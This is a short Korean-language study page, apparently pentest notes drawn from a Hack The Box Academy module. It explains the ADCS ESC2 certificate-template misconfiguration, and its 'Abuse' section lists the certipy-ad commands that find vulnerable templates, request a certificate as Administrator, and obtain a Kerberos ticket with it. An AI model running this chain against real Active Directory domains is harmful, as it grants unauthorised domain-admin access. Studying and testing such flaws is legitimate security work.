All pages
Powered by GitBook
1 of 1

ESC2

ESC2는 다음과 같은 조건을 만족할 때 발생하는 ADCS 취약점입니다.

  1. 인증서 템플릿이 'Any Purpose'로 설정되어 있거나, EKU가 지정되지 않은 경우

  2. 템플릿이 인증서 서명 요청(CSR) 시 SAN을 지정하도록 허용하는 경우

  3. 낮은 권한의 사용자가 해당 템플릿을 사용하여 인증서를 등록할 수 있도록 설정된 경우

속성
값

Requires Manager Approval

False

Enrollment Rights

하위 수준 도메인 사용자 또는 모든 사용자

Authorized Signatures Required

0

Any Purpose / EKU

True / False

Any Purpose가 설정되어 있는 경우, 템플릿을 통해 생성된 인증서를 여러 용도로 사용할 수 있으며, EKU 지정되지 않은 경우 공격자는 악의적인 용도로 인증서를 사용할 수 있습니다. 이 두가지 속성은 서로 상반되는 개념이기 때문에 Any Purpose가 True 이거나, EKU가 False인 경우 조건을 만족합니다.

Abuse

ESC2는 ESC1과 매우 유사한 점에서, 취약점을 악용하는 명령어 또한 동일합니다.

# 취약한 템플릿 검색
certipy-ad find -u <USER> -p <PASS> -dc-ip <dc-ip> -vulnerable -stdout -enabled

# 취약한 템플릿을 이용하여 타겟 유저 인증서 발급
certipy-ad req -u <USER> -p <PASS> -ca <CA> -target <DC FQDN> -template <Template> -upn Administrator -dc-ip <dc-ip>

# 인증서를 통한 TGT 발급
certipy-ad auth -pfx <PFX File> -domain <Domain> -dc-ip <dc-ip>

References

https://academy.hackthebox.com/module/236/section/2540academy.hackthebox.com